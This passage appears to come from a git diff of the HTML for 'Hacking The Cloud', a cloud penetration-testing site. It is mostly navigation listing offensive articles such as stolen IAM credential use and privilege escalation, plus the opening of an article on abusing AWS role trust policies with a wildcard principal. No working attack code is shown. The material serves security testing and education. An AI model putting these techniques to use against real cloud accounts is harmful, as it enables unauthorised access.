href=../../../../gcp/enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../../gcp/enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../../../gcp/enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../../gcp/exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../../gcp/capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../../../gcp/capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#role-trust-policies class=md-nav__link> <span class=md-ellipsis> Role Trust Policies </span> </a> </li> <li class=md-nav__item> <a href=#how-to-exploit class=md-nav__link> <span class=md-ellipsis> How to Exploit </span> </a> </li> </ul> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by Nick Frichette</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1>Abusing Misconfigured Role Trust Policies with a Wildcard Principal</h1> <p>As penetration testers and red teamers we often take advantage of misconfigurations to exploit cloud environments. These are mistakes made by developers and DevOps engineers that make applications and services vulnerable to attack. In this article we will explore one of the more egregious mistakes that can be made in an AWS environment; setting a wildcard as a <code>Principal</code> in a role trust policy.</p> <h2 id=role-trust-policies>Role Trust Policies<a class=headerlink href=#role-trust-policies title="Permanent link">&para;</a></h2> <p>As stated in the AWS <a href=https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#term_trust-policy>documentation</a>, a role trust policy is, "A JSON policy document in which you define the principals that you trust to assume the role. A role trust policy is a required resource-based policy that is attached to a role in IAM".</p> <p>This policy typically looks like the following:</p> <div class=highlight><pre><span></span><code><span class=p>{</span>
 <span class=w>    </span><span class=nt>&quot;Version&quot;</span><span class=p>:</span><span class=w> </span><span class=s2>&quot;2012-10-17&quot;</span><span class=p>,</span>
 <span class=w>    </span><span class=nt>&quot;Statement&quot;</span><span class=p>:</span><span class=w> </span><span class=p>[</span>
 <span class=w>        </span><span class=p>{</span>
diff --git a/aws/exploitation/abusing-container-registry/index.html b/aws/exploitation/abusing-container-registry/index.html
index 3895a4800..bd949be91 100644
--- a/aws/exploitation/abusing-container-registry/index.html
+++ b/aws/exploitation/abusing-container-registry/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="With ECR permissions you can easily distribute a backdoor to production servers, developer's laptops, or CI/CD pipelines and own the environment by gaining privileged permissions."><link href=https://hackingthe.cloud/aws/exploitation/abusing-container-registry/ rel=canonical><link href=../../enumeration/whoami/ rel=prev><link href=../cognito_identity_pool_excessive_privileges/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../../feed_rss_updated.xml><link rel=icon href=../../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.46+insiders-4.53.14"><title>Abusing Elastic Container Registry for Lateral Movement - Hacking The Cloud</title><link rel=stylesheet href=../../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../../stylesheets/extra.css><script>__md_scope=new URL("../../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="Abusing Elastic Container Registry for Lateral Movement - Hacking The Cloud"><meta property=og:description content="With ECR permissions you can easily distribute a backdoor to production servers, developer's laptops, or CI/CD pipelines and own the environment by gaining privileged permissions."><meta property=og:image content=https://hackingthe.cloud/assets/images/social/aws/exploitation/abusing-container-registry.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/aws/exploitation/abusing-container-registry/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="Abusing Elastic Container Registry for Lateral Movement - Hacking The Cloud"><meta property=twitter:description content="With ECR permissions you can easily distribute a backdoor to production servers, developer's laptops, or CI/CD pipelines and own the environment by gaining privileged permissions."><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/aws/exploitation/abusing-container-registry.png> <link href="../../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
+<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="With ECR permissions you can easily distribute a backdoor to production servers, developer's laptops, or CI/CD pipelines and own the environment by gaining privileged permissions."><link href=https://hackingthe.cloud/aws/exploitation/abusing-container-registry/ rel=canonical><link href=../../enumeration/whoami/ rel=prev><link href=../cognito_identity_pool_excessive_privileges/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../../feed_rss_updated.xml><link rel=icon href=../../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.47+insiders-4.53.14"><title>Abusing Elastic Container Registry for Lateral Movement - Hacking The Cloud</title><link rel=stylesheet href=../../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../../stylesheets/extra.css><script>__md_scope=new URL("../../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="Abusing Elastic Container Registry for Lateral Movement - Hacking The Cloud"><meta property=og:description content="With ECR permissions you can easily distribute a backdoor to production servers, developer's laptops, or CI/CD pipelines and own the environment by gaining privileged permissions."><meta property=og:image content=https://hackingthe.cloud/assets/images/social/aws/exploitation/abusing-container-registry.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/aws/exploitation/abusing-container-registry/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="Abusing Elastic Container Registry for Lateral Movement - Hacking The Cloud"><meta property=twitter:description content="With ECR permissions you can easily distribute a backdoor to production servers, developer's laptops, or CI/CD pipelines and own the environment by gaining privileged permissions."><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/aws/exploitation/abusing-container-registry.png> <link href="../../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
     html.glightbox-open { overflow: initial; height: 100%; }
     .gslide-title { margin-top: 0px; user-select: text; }
     .gslide-desc { color: #666; user-select: text; }
@@ -7,6 +7,6 @@
     .gdesc-inner { font-size: 0.75rem; }
     body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);}
     body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);}
-    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#abusing-elastic-container-registry-for-lateral-movement class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../../azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class=md-tabs__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2 checked> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=true> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=false> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../enumeration/account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get 